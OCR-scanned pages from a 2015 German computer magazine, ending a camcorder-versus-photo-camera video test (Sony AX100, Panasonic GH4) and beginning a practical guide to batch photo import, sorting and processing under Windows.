- 1 6,4 20 000 

- 1 0,2 20 000 

3 1 ,3 4000 

- 1 0,7 20 000 

31,3 20 000 
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Vorschaubi ld  bereit - aber nu r, 
bis eine Aufnahme sta rtet. 

Neben den e ingebauten Mi­
krofonen lassen s ich externe Mi­
kros per 3,5-mm-Ki i nkenbuchse 
ankoppel n .  Im Menü scha ltet 
man die Audio-Aussteuerung 
auf manue l l  um; der Audiopegel 
ist i n  1 6  Stufen einste l lba r, kon­
tro l l iert mit einer winzigen Ba r­
g raph-Anzeige im Display. 

Der AX 1 00 erzeugt neben 
Fu l l  HO  mit maximal 50 Vol l bi l ­
dern/s auch Videos, d ie mit 
3840 x 2 1 60 vierma l so vie l Auf­
lösung transportieren wie Fu l l  HO; 
sie zeigten eine überwä lt igende 
Deta i l schärfe und eine tade l lose 
Bi ldqual ität Selbst auf HO herun­
tergerechnet bl ieb ein deutl ich 
erkennba rer Schä rfengewinn.  Die 
Videodaten werden im Format 
XAVC-S i n  25p oder 24p gespei­
chert, mit einer Datenrate von bis 
zu 50 MBit/s. Schnelle Schwenks 
führen bei diesen Bi ld raten prin­
zipbed ingt zu störenden Ruckel­
effekten - wünschenswert wäre 
natürl ich 4K in  SOp . . .  

Die Laborwerte passen zum 
optischen E ind ruck. Der AX 1 00 
l iefert in Fu l l  HO  kla re, he l le und 
ra uscharme B i lder  mit sehr 
guten Kontrasten und guter 
Fa rbtrennung .  Auf Gegen l icht 
reagierte der Sony souverän. Die 
sehr gute Fa rbwiedergabe sorgt 
fü r natür l iche B i lder; bei wenig 
Licht entstehen gefä l l ige, aber 
n icht unbedingt korrekte Fa r­
ben. Die Tonstufe a rbeitet sehr 
exakt, mit einem bemerkenswert 
g le ich la ufenden Stereo-Pegel 
und guter Räum l ichkeit. Das 
Rauschen bl ieb im Bi ld wie im 
Ton sehr ger ing. 

Panasonie Lu mix G H 4  

D ie  Lumix DMC-GH 4 macht von 
außen den E indruck einer d ig ita­
len Spiegel reflexkamera, auch 
wenn  s ie mange ls  Sp iege l  ins  
Lager  der Systemkameras im 
Micro-Fou r-Th i rds-Format ge­
hört. Mit der  GH 4 wendet s ich 
Panasonie defin itiv an  Video­
Amateure und sogar -Profis .  Das 
belegen nicht nur die techni ­
schen Eckdaten, sondern auch 
das optiona l  erhä l t l i che In ter­
face, das die Profi-Schn i ttste l l e  
SDI  und XLR-Audioansch l üsse 
bereitstel lt . Von außen zeigt die 
GH 4 led ig l ich d ie üb l ichen Be­
dienelemente einer Fotokamera, 
nu r  die beiden neben dem Zu­
behörschuh versenkten Mikrofo­
ne lassen auf Videoambit ionen 
sch l ießen. 
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Der APS-C-Wand ler-Ch ip  l ie­
fert 1 6  MPixel Auflösung, d ie  
man fü r deta i l reiche Fotos, aber 
nicht mal  fü r 4K-Videos braucht. 
Ausgelesen werden tatsäch l ich 
nu r  d ie Wand lerpixel, d ie fü r das 
Video notwendig s ind, auf d iese 
Weise wi l l  man Artefakte du rch 
Ska l ierung und I nterpolat ion 
vermeiden. Wer mehr a l s  Fu l l  HO 
wi l l ,  scha ltet auf UH D-4K mit 
3840 x 2 1 60 Pixel und maximal  
30 Vo l l b i ldern/s. Alternativ g ibt 
es den Cinema-4K-Modus mit 
4096 x 2 1 60 Pixel und 24 Vol l bi l ­
dern/s. Die GH 4 speichert i n  
AVCHD (Fu l l  H O) sowie i n  MP4 
und MOV (H O und mehr) - mit 
Datenraten bis zu 200 MBit/s bei 
A l l - I ntra-Kompress ion (dabei 
wird jedes Ei nzel b i ld a uta rk ge­
speichert) . Obendrein zeichnet 
d ie GH 4 auch eine Fu i i -HD-Zeit­
l upe auf (96p, MOV, Al l - I ntra mit 
1 00 MBit/s); der Ton landet dann 
a l s  MP4-Datenstrom auf dem 
Speichermed ium .  Koppelt man 
e inen externen Videorecorder 
an, l i efert die Kamera auch Vi­
deos mit 4:2:2-Farb-Unterabtas­
tung - statt 4:2:0 bei Aufnahmen 
auf der Speicherka rte. 

Fü r  4K-Aufnahmen braucht 
man e ine Class-1 0-Ka rte im 
SDHC-Standard .  E inen doppel­
ten Slot wie manche Camcorder 
hat d ie GH 4 nicht. Und d ie Auf­
zeichnungsdauer ist auch h ier  
auf weniger a l s  30 Minuten be­
g renzt. Die konti nu ier l iche Auf­
zeichnung eines Konzertes oder 
Theaterstücks klappt a l so nicht. 

l n  Sachen Ausstattung enthält 
das mit bis zu 9 Bi ldschi rmseiten 
schon recht unübersichtl iche 
Menü ein iges aus dem Profi-Be­
reich - etwa den wäh lba ren 

Angesagte Fotokameras mit 
Videofunktionen: Die Panasonie 

Lumix DMC-GH4 macht den Top­
Camcordern im Testfeld dank ih rer 

hohen Qual ität zu schaffen.  

Schwarzwert oder Luminanz­
bereich. Fü r  den Nichtprofi s ind 
Dinge wie Zebra (Warnung vor 
Überbel ichtung), Wasserwaage 
und Gitter l in ien oder das beim 
Scha rfste l len sehr wi l l kommene 
Peaking eher von praktischem 
Nutzen. Denn spätestens bei 4K­
Aufnahmen ist e ine ver läss l iche 
Schärfenbeurtei lung auf dem Dis­
play oder im praktischen Sucher 
kaum möglich. Da hi lft die Lupen­
Funktion im Display - oder per 
F i ngertipp festzu legen, wo die 
Schä rfe l iegen sol l .  Der im Foto­
einsatz prompt arbeitende Auto­
fokus braucht bei solchen Anfor­
derungen eine gewisse Bedenk­
zeit, was im Videomodus stört -
immerhin er leichtern dann d ie 
fünf Funktionstasten, die man via 
Menü mit Funktionen und Mess­
verfah ren belegen kann, die Be­
d ienung.  Obend rein ruft man 
über das verriegelba re Modusrad 
d rei Customer-Sett ings (Cl bis 
C3) mit vorher im Menü gespei­
cherten Pa rameterkombinatio­
nen auf. 

Alternativ zum klappbaren 
T ouchscreen der GH 4 lässt s ich 
die Kamera auch d rahtlos - und 
mit kaum merkl icher Vorschau­
Verzögerung - per WLAN/N FC 
steuern; auf Wunsch nutzt die 
Kamera auch e in bestehendes 
Netzwerk, was aber  ohne PC 
nicht klappt, wei l man sich dazu 
erst in  einem Lumix-C iub anmel­
den muss. 

Die Ergebnisse der Auflö­
sungsmessungen besche in igen 
der Kamera e in  du rchgehend 
hohes N iveau, auch wenn die bei 
Tages l icht ermittelte Kenn l i n i e  
e ine  deut l iche Kantenaufstei­
l ung  aufweist; da h i lft die E lek-

tron ik nach. Die Fa rbwiedergabe 
fä l l t  e rfreu l i ch neutra l  aus, mit 
einer leichten Rot-Bevorzugung 
be i  Kunstl icht Sel bst be i  schwa­
cher Beleuchtung (30 lx) bewies 
die Kamera ein überdu rch­
schn itt l ich hohes Qua l i täts­
n iveau .  Schä rfe, Rauschen und 
Kontrast verd ienten seh r  gute 
Noten.  Der Ton der GH 4 wirkte 
etwas flach :  Bei etwa 1 3  kHz -
a l so e in bisschen früh  - endete 
der Übertragungsbereich. 

Im Fotomodus überzeugte 
d ie GH 4 bis ISO 800 und l ieferte 
e ine knapp gute Deta i lwieder­
gabe. Mit ISO 1 600 stieß d ie Ka­
mera an d ie  Grenzen des s inn­
vol le rweise Machbaren; darüber 
h inaus nahm das Rauschen 
deut l ich zu - bei nachlassender 
Deta i lzeichnung .  

Fazit 

Als Que l le  fü r qua l itativ hoch­
wertige Bewegtbi lder überzeu­
gen d ie Camcorder nach wie vor. 
Denn d ie Güte der verwendeten 
Werkzeuge sch lägt sich auf das 
Resu ltat nieder: Schlecht bel ich­
tete, zappel ige oder tei l s  un­
scha rfe Videos wi l l  n iemand 
sehen. 

Schon der günstigste Camcor­
der im Test, der JVC GC -PX 1 00, 
l iefert dank seines hochauflösen­
den Wand lers und der l i cht­
sta rken Optik Videos von über­
du rchschnittl icher Qual ität. Dank 
Automatikmodus und der Mög­
l ichkeit, schnel le Bi ldfolgen in  Se­
kunden länge zu speichern, eig­
net er sich aber auch a l s  Action­
Cam-Aiternative. Sel bst mit den 
teu ren Spitzen-Amateu r-Geräten 
kann  er gut mitha lten, a uch 
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Camcorder versus Fotokamera 
Modell Ca non legria HF G30 JVC GC PX 1 00 Panasonie AG-AC 90 Sony FDR AX 1 00 E lumix DMC-GH 4 
Herstel ler Ca non JVC Panasonie Sony Panasonie 

Videosystem AVCHD, MPEG-4 AVCHD, MOV, MPEG-4 AVCHD AVCHD, XAVC S AVCHD, MPEG-4, AVC-Intra 

Video-Speichermedium SDXC-Karte SDXC-Kart SDXC-Karte SDXC-Karte SDXC-Karte 

Videostandards 1 080p50 I i50 I p25, 720p25 1 080i50 I p50, 720p50 1 080p50 I i50 I p25, 576i50 3840p25 / p24, 1 080p50 I p25 / 4096p24, 3840p60 I p50, 
p24 I i50 1 080p60 I p50 I p25 

max. Datenrate 28 MBit/s 36 MBit/s 28 MBit/s 60 MBit/s 200 MBit/s 

Gewicht (mit Akku) 900 g 590 g 1 722 g 985 g 560 g 

Abmessungen (B x H x T) 1 1 ,5 cm x 8,4 cm x 23,1 cm 1 1  cm x 7,6 cm x 1 8,3 cm 1 6 cm x 1 9,5 cm x 35 cm 8,1 cm x 8,3 cm x 1 9,6 cm 14,2 cm x 9,4 cm x 8,1 cm 

AuSstattung 

Wandler-Chip [Pixel brutto, Größe in Zol l ] 3 090 000, 1 /2,8 12 800 000, 1/2,3 2 680 000 (3x) / 1 /4,1 (3x) 1 4 200 000 / 1  1 6 000 000 I 1 7,3 x 1 3 mm 

max. Lichtstärke [Blende] 1 : 1 .8 1 : 1 .2 1 : 1 .5 1 :2,8 1 :3,5 

min. Brennweite KB-äquiv. 27 mm 29 mm 29 mm 29 mm 29 mm 

optischer I digitaler Zoom 20-fach I 400-fach 1 0-fach I 64-fach 1 2-fach I - 1 2-fach / 1 60-fach 10-fach I -

Bildstabil isator optisch optisch optisch optisch elektronisch 

Frontscheinwerfer v 
man. Blende I Fokus I Weißabgleich v / v i v v /v iv v / v i v v /v iv v !v lv 
man. Verschlusszeiten (Shutter) 1 /2000 - 1 /6 Sek. 1 /4 000 - 4  Sek. 1 12000 - 1 /25 Sek. 1 /2000 - 1 /2 Sek. 1/8000 - 1 Sek. 

Sucher Farb-LCD Farb-LCD, steckbar Farb-LCD Farb-LCD Farb-LCD 

Display-Größe I Auflösung [Pixel[ 8,9 cm /4 10000 7,6 cm I 460 000 8,8 cm / 384 000 8,9 cm I 307 000 7,6 an I 346 666 

Editieren im Camcorder v v v 
Fernsteuerung per WLAN v v v v 
Digitalisierung Standbild 

max. Bildauflösung [Pixel] 1 920 x 1 080 4000 x 3000 2304 x 1 296 5968 x 3352 4608 X 3456 

Blitz v v v 
Dateiformat Foto JPG JPG JPG JPG JPEG, RAW 

Speichermedium Speicherkarte Speicherkarte Speicherkarte Speicherkarte Speicherkarte 

Anschlüsse 

Schnittstelle zum Re<:hner USB USB USB USB USB 

HDMI I S-Video in I out v l - 1 - v l - 1 - v / - / YUV v 1 - 1 - v ! - ! -
Composite Video in I out - lv - lv - lv - I - - I -

Mikrofon I Kopfhörer v i v v iv v i v v iv v iv 
lieferumfang 

Netzteil I Ladegerät v / - v / - v i v v l - - lv 
Akku Laufzeit (Dauerbetrieb) 1 90 Minuten 1 05 Minuten 400 Minuten 1 40 Minuten 1 25 Minuten 

Fernbedienung v v Fernauslöser 

Software PC, Mac PC PC PC 

Bewertungen 

Bildqualität I Lichtempfindlichkeit ®® I ® ®® I® ®® I ®® ®® I®® ® I ® 

Bildstabil isator <±l<±l <±l ®® <±l<±l E9<±l 
Ton <±l <±l ®® <±l<±l @ 
Sucher I Display ® I ® 0 1 ® ®® I <±l ®® I®® e® / <±l 

Handhabung I Ausstattung ®® I ® ® I® ® I ® ®® I®® <±l / <±l<±l 

Foto 8 (nur Fui i-HD) <±l ®® <±l E9<±l 
1 500 € 1 000 € 2200 € 2000 € 2000 € 

<±l gut 0 zufriedenstel lend e schlecht 00 sehr schlecht v vorhanden - nicht vorhanden k. A. keine An abe 

wenn man sich an Knöpfe, Taster 
und Menüs gewöhnen muss. 
Wer auf hochauflösende Fotos 
aus dem Camcorder verzichten 
kann, aber ein starkes Zoom-Ob­
jektiv und einen guten Stabi l isa­
tor sucht, sol lte s ich den Canon 
G30 anschauen. Er bietet neben 
der praktischen Vo l l automatik 
und den Effektprogrammen weit­
reichende Mögl ichkeiten, auf die 
Aufnahmeparameter zuzug rei­
fen .  Damit kann  der Amateur  
dank der manue l len E inste l l un­
gen fi lmen wie die Profis. 

Mit  400 Minuten Betr ieb aus  
e ine r  Akku ladung empfieh lt  s ich 
der  Panasonie AC90 fü r l ange 
E insätze. Preis und Bauform zie­
len in die Semiprofi-Szene, wo 
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man d ie  d rei B lendenr inge 
ebenso zu schätzen weiß wie 
den unbei rrba ren Autofokus 
oder d ie  Bed ienba rkeit am  lan­
gen Arm. Videos und  Fotos er­
zeugt der  im  Testfe ld kostspie­
l igste Camcorder i n  souveräner 
Top-Qua l ität Das g i l t  a uch fü r 
den 2000 Eu ro teuren Sony 
AX 1 00, der i n  4K fi lmt, e ine her­
vorragende Videoqua l ität l iefert 
und d ie  am höchsten aufgelös­
ten Fotos im Testfe ld  sch ießt. 
Sel bst wenn man 4K nicht a l s  
Zie lformat nutzt, eröffnet d ie  
hohe Auflösung neue Wege, 
nachträg l ich den B i ldausschn itt 
zu ver lagern oder zu verg rößern. 

Und der Fotoappa rat? Auch 
Panason ies GH 4 rangiert i n  Sa-

chen Bi ld- und Tonqua l ität i n  der 
Top-Klasse, sogar  in 4K. Dazu 
kommen die satte, i n  Richtung 
Profi-Ansprüche tendierende 
Ausstattung und e in ordent l i ­
cher Ton .  l n  puncto Bedienkon­
zept zeigt sich d ie GH 4 a l s  Foto­
kamera mit Video-Option, aber 
mit umständ l icher Handhabung.  
Hauptmankos s ind d ie Begren­
zung der Aufnahmedauer und 
der eher  nach Foto-Gesichts­
punkten a rbeitende Autofokus. 

Das beste Werkzeug taugt na­
tür l ich nur so vie l ,  wie sein An­
wender an  Interesse, Übung und 
H interg rundwissen mitbr ingt .  
Wer nur  gelegent l ich schöne Vi­
deos fi lmt, wi rd sich in  besonde­
re Kniffe - ob Schärfenver lage-

rung oder Lichttricks - nicht ein­
fuchsen wol len.  Dann ste l len die 
Camcorder, d ie auch ohne lange 
Vorbereitung einfach funktionie­
ren, d ie bessere Wah l  dar .  

Je mehr Zeit man aber für Vor­
bereitung, E ina rbeitung und -
tatsäch l ich - praktische Übung 
i nvestieren wi l l ,  desto eher 
kommt d ie fi lmende Fotokamera 
in Betracht, d ie  den geschu lten 
Umgang mit Bel ichtungspa ra­
metern und Funktionen voraus­
setzt Das belohnt sie mit Videos, 
die den "Kino-Look" nicht a l s  Ef­
fekthascherei, sondern a l s  be­
wusst eingesetztes Gesta ltungs­
merkma l nutzen .  (uh@ctde) 

c't: Origina lvideos: ct.de/ybkg 
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Andrea Tri n kwalder 

Foto fix fertig 
B i ldvera rbeit u n g  a u to m atis ieren u nter Wi ndows 

Wen n  es ums sch nel le  Abarbeiten von Standard-Prozeduren geht, 
schlägt die Stunde hand l icher Batch-Werkzeuge. Sie sortieren neue 
Fotos im System ein, er ledigen einfache Korrektu r-Jobs und vertei len 
die Werke auf d iversen Kanälen.  E ine Vol lb lut-B i ldbearbeitu ng 
braucht man dafü r  n icht. 

E i n  typischer Foto-Workflow besteht 
daraus, d ie  Fotos von der Speicherka rte 

auf den Rechner zu laden, sie zu sichten und 
auszusortieren, gegebenenfa l l s  zu bea rbei­
ten und am Ende zu verte i len - in  sozia len 
Netzwerken, per Mai I oder a l s  Fotobuch. Das 
umfassendste Paket fü r den kompletten 
Workflow heißt Lightroom: Es reduziert Im­
port und Backup auf wenige Handgriffe und 
hat mächtige Batch-Korrektu rwerkzeuge an  
Bord. Aber es  geht auch  ohne  Lightroom und 
Konsorten - eigenständ ige Automatis ierer 
lassen sich mit jedem Bi ldbetrachter kombi­
nieren. 

Wichtig i st, dass d ie  Anwendungen mit­
e inander kooperieren, a l so ausgewäh lte 
Dateien oder ganze Ordner per Überwa­
chung vera rbeiten beziehungsweise sich ins 
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Kontextmenü des Windows Explorer e ink l in­
ken. Damit das Ergebnis anschl ießend zügig 
weiterbea rbeitet werden kann, he lfen Optio­
nen, die das Zielverzeichnis öffnen oder die 
Bilder g leich an  die nächste Anwendung wei­
terre ichen. E-Ma i l - und U pload-Funkt ionen 
br ingen d ie Fotos am Ende unters Vol k. 

Wer doch l ieber Photoshop e inspannt, 
kann  zumindest den Zug riff auf die Batch­
Funkt ionen mit e in igen Handg riffen kom­
fortab ler gesta lten. Auch Lightroom-Nutzer 
fi nden ein paar Automatis ieru ngstipps am 
Ende des Artikels .  

I m port und Backu p 

Ein Beispiel :  Fü r  den Sportverein meiner Kin­
der fotografiere ich bei d iversen Wettkämp-

fen, Tra in ings und anderen Veransta ltungen. 
Nur wenige d ieser Fotos behalte ich selbst, 
den Großtei l verte i le  ich an Bekannte und  
Freunde, d ie Tra iner oder  andere Betei l igte. 
Ein gemeinsamer C loud-Speicher sammelt  
d ie  Werke d iverser Vereinsfotog rafen, wo­
raus sich wiederum die Verwerter bed ienen: 
Sie fert igen daraus  B i ldergaler ien fü rs Web, 
Fotobücher fü r die Kinder, eine Diashow fü r 
d ie  Absch lu ssfeier oder s ie ana lysieren d ie 
Technik. Wei l  es h ier n icht  auf perfekt korri­
g ierte B i lder, sondern auf schne l le  Auswah l  
und Verte i len ankommt, fotog rafiere ich 
JPEG statt Raw und beschränke d ie Bearbei­
tung auf Zuschneiden plus einige Standard­
Korrekturen.  Übrigens :  Wer grundsätzl ich 
Raw fotografiert, aber h in und wieder schnel­
le  Previews benötigt, schlägt mit " , nstant 
JPEG from Raw" den Bogen zwischen Qual i ­
tät und Geschwindigkeit Das Tool extrahiert 
d ie in Raw eingebetteten JPEG-Vorschaubi l ­
der stapelweise - einfach im Windows Explo­
rer per Rechtskl ick auf ausgewäh lte Dateien 
und Verzeichn isse. 

Bereits der Import lässt sich hervorragend 
standardis ieren und an  Softwa re - soge­
nannte l ngester - de legieren.  Auf Wunsch 
legen s ie Backups an, fügen Stichwörter 
h i nzu, erste l l en neue Verze ichn isse gemäß 
e inem vorgegebenen Schema und organisie­
ren d ie erste Beschriftungsrunde.  Spezia l is­
ten h ierfü r sind l ngestamatic ( 1 7 Eu ro) fü r 
Windows und Mac OS sowie der kosten lose 
WIA Downloader .  Ähn l ich gut ausgebaute 
Importd ia loge mit Backup-Funktionen findet 
man auch in mancher Bi lddatenbank - etwa 
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Lightroom und d ig ikam - oder professionel­
len B i ldbetrachtern wie Photo Mechanic. 

l ngestamatic zeigt Bi lder von der Kamera 
oder beliebigen Verzeichnissen fast ohne Ver­
zögerung in seinem Vorschaufenster. Anhand 
der Miniaturen und einem einfachen Betrach­
ter kann  man das Materia l  bereits grob sich­
ten, offensichtl ich Missl ungenes vom Import 
ausschl ießen, mehrere B i lder rasch mit 
Schlagwörtern und anderen I PTC-Tags verse­
hen und bei Bedarf mit extern aufgezeichne­
ten Geodaten synchronisieren. Die I PTC-Ein­
gabemaske können Sie selbst konfigu rieren. 
Wer etwa während des Imports ausschl ieß­
l ich Stichwörter, Copyright- lnformationen 
und e ine B i ldbeschreibung h inzufügen 
möchte, reduziert d ie  lange Liste der I PTC­
Felder damit auf d rei übersichtl iche Zei len.  

Was sonst noch beim Import mit den 
Fotos geschehen sol l ,  h i nterlegt der Nutzer 
in e igenen Profi len :  l ngestamatic kopiert 
gemäß solchen Rezepten sämtl iche B i lder in  
e in vordefiniertes Verzeichnis und fertigt a uf 
Wunsch bis zu zwei S icherungskopien an .  
Raws werden be i  Bedarf übe r  Adobes DNG 
Converter in  DNG konvertiert, wobei in  den 
Backup-Verzeichn issen d ie Orig ina le landen. 
Gle ichble ibende Metadaten wie Autor und 
Copyright- l nformationen gehören ebenfa l l s  
ins Profi l .  

Richtig praktisch s ind d ie Makros, d ie Ver­
zeichn is- und Date inamen aus  den Foto­
Metadaten zusammenbauen oder I PTC-Fel­
der damit fü l len .  Hat man beispielsweise den 
Befeh l  {@Datelmage:YYYY-MM}-Ereignis im Profi l  ein­
getragen, wandern d ie Fotos automatisch in  
e in nach Jahreszah l-Monat-Ereign is  benann­
tes Verzeichnis .  Sie können bel iebige Datei­
und EXIF- I nformationen als Va riablen benut­
zen - zum Beispie l  auch GPS-Koord inaten, 
Objektiv oder ISO-Zah l .  

Me ine Sport-B i lder, d ie  zah l reiche Serien 
entha lten, lade ich beispie lsweise per l nge­
stamatic-Profi l von der Speicherka rte i n  mein 
Desktop-Verzeichnis "Foto- Import" zum Vor­
sortieren. Ein Backup wandert aufs NAS. 
Noch vor dem Import kontro l l iere ich mit 
dem e ingebauten Betrachter d ie  B i lder, 
schl ieße offensicht l ich unbrauchba re g leich 
vom Import aus und versehe jedes Foto, das 
fü r mein eigenes Archiv interessant er­
scheint, mit  e inem Stichwort-Tag, näm l ich 
dem Namen des Vereins. 

Sichten und sortieren 

Nach dem Import s ichte ich sämtl iche Bi lder 
mit dem Ziel , von jedem Kind maxima l  zwei 
Aufnahmen zu beha lten, füge gegebenen­
fa l l s  Namen a ls Stichwort h i nzu und wäh le  
e inen geeigneten Ausschnitt. Dazu überg ibt 
l ngestamatic das erste importierte Verzeich­
nis auf Wunsch via Kommandozei le an  eine 
beliebige Anwendung, d ie man im Profi l ver­
knüpft hat - etwa einen B i ldbetrachter wie 
FastStone Image Viewer, l rfanView (beide 
kostenlos), den auf Raw getrimmten Fast­
PictureViewer, den auf Geodaten spezia l is ier­
ten GeoSetter oder eine B i lddatenbank. Was 
genau eine Anwendung mit dem Befeh l  an-

c't 20 1 5, Heft 5 

Praxis I Batch-Bi ldvera rbeitung 

ii lngestam atic - D --
Filr E d it Tools Help 

SelectAII I croo,, I Lo.;�d Track .. j ---J Preview . . .  � � Pfeset: jJmport-atr 3 �  
SelectNone I O$CF5Q13 .JPO o s c r�Gr4.JPO . IPTC. C.!ptionjAbstract 

CheckAH I i i I TimeZone . . .  j 
CheckNone I e e ..:· Time Adj . . .  j 

A J1 
Dates 

""""!""' IPTC.Keywords 

r Ii I 1\ I Mustername I ,  Mustemame2 

CF.Shoot 

r 
T imeZone Pari$ +1 

IPTC.ObjectName (Hie) 

DSCF�Q l � . J P G  D S C F � Q 1 e . J P O  
Extensions i i r-- IAe�II A���e��� 
I I t\ l l ?j /i 

____ ____. 

I 

IPTC.Headline 

IPTC.Byline 

IPTC. City 

IPTC.Province/State 

IPTC.Country/Name·Prim.aly . . .  

IPTC.Scene 

Double-dick d&e 
or extension to 
select. 

D S C H Q 1 7 . J P O  

2 sekcted 295 checked '2fJ7 total lngestamatie VQr�ior. 2 . 1 0  [�,.�p-<�:o-<late] 
,------------------- Registered to atr@ot.de 

Ftimary Root: C:\U�ers\au\Desktop\lngestamatie 
::cn� .... :����:

-
Ye

illl
' ----

Want 2nd 8ack'-'p : Ho 
Folder />srangement: {@Datelmage:'tYY'fM M)-SPC-I'I'ettkampi-TS 
Filename Arangement: {@Datelm<>ge:YYYYM M D D.j.,hmm} 
{@FileNumberOriginal) 

Praktische Vorschau: Bevor das Foto von der Karte auf die Festplatte 
wandert, kann  man Stichwörter vergeben und bestimmen, welche Bi lder 
überhaupt geladen werden. 

fangen kann, muss man ind ividue l l  testen: 
FastStone etwa zeigt den I nha l t  des Ver­
zeichnisses a l s  B i ldübersicht, Lightroom lädt 
es i n  seinen Importd ia log und FastPictu re­
Viewer öffnet das erste B i ld .  Mit solchen An­
wendungen kann  der Workflow a lso nahtlos 
fortgeführt werden. 

Der spa rtanischste unter den Genannten 
ist woh l  FastPictu reViewer: Seine Stä rke l iegt 
darin ,  Raw-, DNG- und J PEG-Bi lder  sehr 
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DNG- und J PEG-Metadaten werden e inge­
bettet, fü r Raws e ine Beg leitdatei erste l l t  -
ganz im E ink lang mit Adobes Metadaten­
Konvent ion.  Beim Kl ick auf e ine be l iebige 
Ste l le  im Bi ld ze igt FastPictu reViewer d iesen 
Ausschn itt ohne Verzögerung in  vol ler  Auflö­
sung, wodu rch man vor a l l em die Schä rfe 
und Qua l ität von Raws fix beu rtei len kann .  
Leider besitzt der Viewer nicht mal rudimen­
täre Bea rbeitungsfunktionen. Das Aussortie­
ren besteht da rin, B i lder entweder zu löschen 
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Ein Profi l legt fest, 
wie die Bi ldaus­
wahl  vera rbeitet 
werden sol l :  
Die Fotos landen 
im Verzeichnis 
201 501 -SPC­
Wettkampf-TS ( 1 ) 
und werden gemäß 
dem Schema 
Datum-Aufnahme­
zeit-B i ldnummer 
umbenannt (2). 
lngestamatic 
kopiert sie, ergänzt 
Autoren- und 
Copyright-l nfor­
mationen und 
öffnet sie dann im 
Bi ldbetrachter. 
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E in F i lter ( 1 ) beschränkt die Vera rbeitung auf Fotos, d ie e ine best immte Person abbi lden .  
Diese lmBatch-Aktion ska l iert die Fotos auf eine Seiten länge von 1 200 Pixe ln  und kopiert s ie  
ins  dafür e ingerichtete Austauschverzeichn is  (2 ) .  

oder per  Tastenkü rzel K in e in zuvor defin ier­
tes Verzeichn is  zu verschieben beziehungs­
weise zu kopieren. Beide Ordner lassen sich 
dann per Hotkey im Windows Exp lorer öff­
nen, Strg+E füh rt zum B i ldverze ichn is  und  
Umscha lt+Strg+E zu den Kopien. 

Mehr Sortier- und Bearbeitungsmög lichkei­
ten bieten Betrachter wie l rfanView oder Fast­
Stone Image Viewer. Beide merken sich bis zu 
neun Verzeichnisse, in die Sie Bi lder kopieren 
und verschieben dürfen. An FastStone Image 
Viewer gefä l l t  die pra kt ische Verg le ichs­
ansicht. l rfanView wiederum schneidet Bi lder 
fast fl ießbandartig zu: Ausschnitt markieren, 
per Strg+Y beschneiden, speichern, nächstes. 
Beide bringen auch ein Modu l  für Batch-Bear­
beitung und -Konvertierung mit. 

Vol l automatische Verarbeitu ng 

Ein gutes Stück autonomer laufen Stapelver­
a rbeitungsprozesse über Tools wie das kos­
tenlose lmBatch oder BatchPhoto: Damit 
kann  sich jedermann einfache, aber auch 
komplexere Makros zur Bi ldbe- und -Verarbei­
tung schnel l  zusammenkl icken - auch ohne 
Programmierkenntnisse. E inmal gespeicherte 
Aktionen lassen sich nicht nur  im Prog ramm 
sel bst, sondern auch per  Ordnerüberwa­
chung oder über das Windows-Kontextmenü 
auf ausgewählte Dateien anwenden. Solche 
Aktionen etwa können Bi lder a uf unter­
schied l iche Maße verkle inern und sie mit 
Wasserzeichen, Effekten und Rahmen verse-
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hen.  Auf Wunsch werden sie auf Facebook 
veröffent l icht, i n  e in PDF gepackt oder auf 
einen FTP-Server hochgeladen. So können 
Fotos mit wenigen Kl icks auf mehreren Kanä­
len publ iziert und fü r d iese optimiert werden. 

lmBatch kann  soga r bel iebig vie le .,Spei­
chern"-Befeh le  e instreuen, wodu rch s ich 
mehrere Va r ianten mit e iner Akt ion erzeu­
gen lassen. Außerdem bea rbeitet es die I PTC­
Daten und beschränkt Aktionen auf B i lder, 
d ie  e ine bestimmte Bed ingung erfü l len .  
Diese F i lter-Funktionen erleichtern auch das 
Verte i len meiner Sportvere in-B i lder. Nach 
dem Aussortieren und Beschneiden z iehe ich 
d ie verbl iebenen auf d ie lmBatch-Oberfläche 
und behand le sie nacheinander mit d iversen 
Aktionen :  Eine ska l iert sämt l iche B i lder  auf 
e ine Breite von 1 200 Pixe ln  und schiebt s ie  
ins Austauschverzeichnis des Vereins. 

Weitere Aktionen laden aussch l ieß l ich die 
mit Namen-Stichwörtern versehenen B i lder 
i n  Or ig ina l-Auflösung auf e in Verzeichnis in  
meinem privaten C loud-Speicher hoch,  das 
ich fü r d ie jewei l igen Personen freigegeben 
habe. Der Befeh l  Func_SS_StringHasSubString_B(Get_ 
IPTC_Keywords_S, ,Personenname') fi ltert Fotos her­
aus, d ie das I PTC-Stichwort .. Personenname" 
enthalten, und kopiert sie ins g leichnamige 
Verzeichnis .  Von dort kann  sich jeder herun­
ter laden, was ihm gefä l lt . 

F i lter berücksicht igen außer Metadaten 
auch Dateie igenschaften :  So lässt s ich d ie  
Auswah l  etwa auf bestimmte Dateitypen, 
Fotos mit hoher Auflösung oder einen Zeit-

raum eingrenzen. E in echtes Manko ist, dass 
lmBatch derzeit nur d ie a lten I PTC-I IM-Felder 
unterstützt und d ie neueren XMP-Felder 
nicht interpretieren kann .  Auf lngestamatic­
Stichwörter kann  es beispie lsweise nicht 
zug reifen, auf l rfanView-Einträge schon. 

Mit C loud-Speichern oder Foto-Diensten 
kommuniziert lmBatch nicht und BatchPhoto 
nu r  mit F l i ckr. Sie können einen automati­
schen Upload aber über die Apps der Anbie­
ter rea l isieren, wei l  d iese ein lokales Verzeich­
nis zur Synchronisation ein richten. Sync-Apps 
für Windows, Mac OS, Android und iOS g ibt 
es unter anderem fü r Goog le Drive, Microsoft 
OneDrive oder d ie  Dropbox. F l i ckr-Al ben 
speist e in Tool namens photoSync automa­
tisch aus loka len Verzeichnissen. 

Wenn Sie in  einer Aktion Va rianten unter­
schied l icher Größe - etwa mit den Seiten­
längen 1 200 Pixel und 500 Pixel - erzeugen 
möchten, wechseln Sie einfach Ska l ieren- mit 
Speicher-Befehlen ab:  Um die Proportionen 
zu erhalten und d ie längere Seite a l s  Maß zu 
defin ieren, geben Sie die maxima le Breite 
und Höhe an, zum Beispie l 1 200 Pixel, und 
wäh len d ie Option .,Constra i n  Proportions". 
Diese Akt ion können Sie im Context Menu 
Editor (Tools-Menü) von lmBatch eintragen, 
wodu rch lmBatch ausgewählte B i lder  auch 
aus  dem Windows Exp lorer heraus  per 
Rechtskl ick vera rbeitet. 

Möchten Sie I h r  F i rmen logo a l s  Wasser­
zeichen h interlegen, speichern Sie d ieses am 
besten im PNG-Format mit tra nspa rentem 

c't 201 5, Heft 5 



H interg rund, laden es in d ie  "Watermark"­
Funktion von lmBatch und experimentieren 
ein wenig mit den Ü berb lendeffekten, d ie  
s ich h inter der "Operat ion"-Option verber­
